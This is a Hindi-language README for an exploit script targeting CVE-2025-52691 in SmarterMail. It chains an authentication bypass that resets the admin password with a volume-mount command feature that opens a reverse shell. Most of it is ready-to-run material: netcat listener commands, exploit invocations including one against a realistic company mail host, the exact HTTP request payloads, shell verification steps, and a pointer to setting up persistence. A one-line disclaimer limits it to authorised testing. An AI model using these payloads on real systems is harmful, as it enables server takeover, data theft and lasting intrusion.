
CVE-2025-52691 PoC: watchtowr के लेख WT-2026-0001 पर आधारित, जो एक प्रमाणीकरण बायपास एक्सप्लॉइट के बारे में है, यह एक कार्यात्मक Python अटैक स्क्रिप्ट है।
यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है!
यह एक्सप्लॉइट SmarterMail में दो गंभीर कमजोरियों को जोड़ता है:
https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691
यह एक्सप्लॉइट 3-चरणीय हमला करता है:
चरण 1: WT-2026-0001 के माध्यम से प्रमाणीकरण बाइपास
चरण 2: नए पासवर्ड के साथ एडमिन लॉगिन
चरण 3: वॉल्यूम माउंट्स कार्यक्षमता के माध्यम से RCE
# Install Python 3 (if not available)
# Ubuntu/Debian
sudo apt update && sudo apt install python3 python3-pip
# macOS
brew install python3
# Windows (WSL)
wsl --install
# Install netcat
# Ubuntu/Debian
sudo apt install netcat
# macOS
brew install netcat
# Windows (WSL)
sudo apt install netcat-traditional
# Python dependencies (if needed)
pip3 install requests
# Make executable
chmod +x run_exploit.sh
# Automated setup
./run_exploit.sh --auto
# Or interactive setup
./run_exploit.sh
# Setup listener (in one terminal)
nc -lvnp 4444
# Run exploit (in a second terminal)
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
python3 exploit.py \
-H http://192.168.1.100 \
-P 9998 \
-A 192.168.1.50 \
-p 4444 \
-d \
--admin-username admin \
--new-password "MySecurePassword123!"
लक्ष्य पहचान
# Check target host
curl -I http://192.168.1.100:9998
# Identify SmarterMail version
# (Usually in login page or HTTP headers)
लिसनर सेटअप
# In Terminal 1: Start listener
nc -lvnp 4444
# The listener must be running before the exploit is executed
नेटवर्क सत्यापन
# Ensure connection between attacker and target is possible
ping 192.168.1.100
nc -zv 192.168.1.100 9998
# With the runner script (recommended)
./run_exploit.sh
# Or directly with Python
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
शेल कनेक्शन
# In the listener terminal, a connection should now appear
# You should have a SYSTEM shell
पहुँच सत्यापित करें
# In the obtained shell
whoami
hostname
ipconfig /all # Windows
ifconfig # Linux
स्थायी पहुँच
# Optional: Set up persistence
# Windows: Install as service
# Linux: Cron job or systemd service
| पैरामीटर | विवरण | डिफ़ॉल्ट मान |
|---|---|---|
-H, --host | लक्ष्य होस्ट (आवश्यक) | - |
-P, --port | लक्ष्य पोर्ट | 9998 |
-A, --attacker-ip | रिवर्स शेल के लिए हमलावर IP (आवश्यक) | - |
-p, --attacker-port | रिवर्स शेल के लिए हमलावर पोर्ट (आवश्यक) | - |
-d, --debug | डीबग मोड सक्षम करें | False |
--admin-username | एडमिन उपयोगकर्ता नाम | admin |
--new-password | नया एडमिन पासवर्ड | NewPassword123!@# |
| पैरामीटर | विवरण |
|---|---|
-t, --target | लक्ष्य होस्ट |
-p, --port | लक्ष्य पोर्ट |
-a, --attacker-ip | हमलावर IP |
-l, --listener-port | लिसनर पोर्ट |
-n, --new-password | नया एडमिन पासवर्ड |
-u, --admin-user | एडमिन उपयोगकर्ता नाम |
-d, --debug | डीबग मोड |
--auto | स्वचालित मोड |
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
python3 exploit.py \
-H https://mail.company.com \
-P 443 \
-A 10.0.0.1 \
-p 8080 \
--admin-username administrator \
--new-password "ComplexPassword123!@#"
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
./run_exploit.sh --auto
एंडपॉइंट: POST /api/v1/auth/force-reset-password
पेलोड:
{
"IsSysAdmin": "true",
"OldPassword": "dummy",
"Username": "admin",
"NewPassword": "NewPassword123!@#",
"ConfirmPassword": "NewPassword123!@#"
}
सफलता प्रतिक्रिया:
{
"success": true,
"resultCode": 200,
"debugInfo": "check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n"
}
एंडपॉइंट: POST /api/v1/auth/login
पेलोड:
{
"username": "admin",
"password": "NewPassword123!@#"
}
एंडपॉइंट: POST /api/v1/settings/volume-mounts
पेलोड:
{
"name": "random_volume_name",
"path": "C:\\Temp\\random_volume_name",
"command": "powershell reverse shell command",
"enabled": true,
"type": "command"
}
# Error: "Connection refused"
# Solution: Check firewall and open port
sudo ufw allow 9998
# Error: "Connection failed"
# Solution: Check listener setup
nc -lvnp 4444
# Error: "Login failed"
# Solution: Check target version (must be vulnerable)
# Error: "Volume mount creation failed"
# Solution: Check admin privileges, target system
विस्तृत आउटपुट के लिए डीबग मोड सक्षम करें:
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
⚠️ याद रखें: महान शक्ति के साथ महान जिम्मेदारी आती है!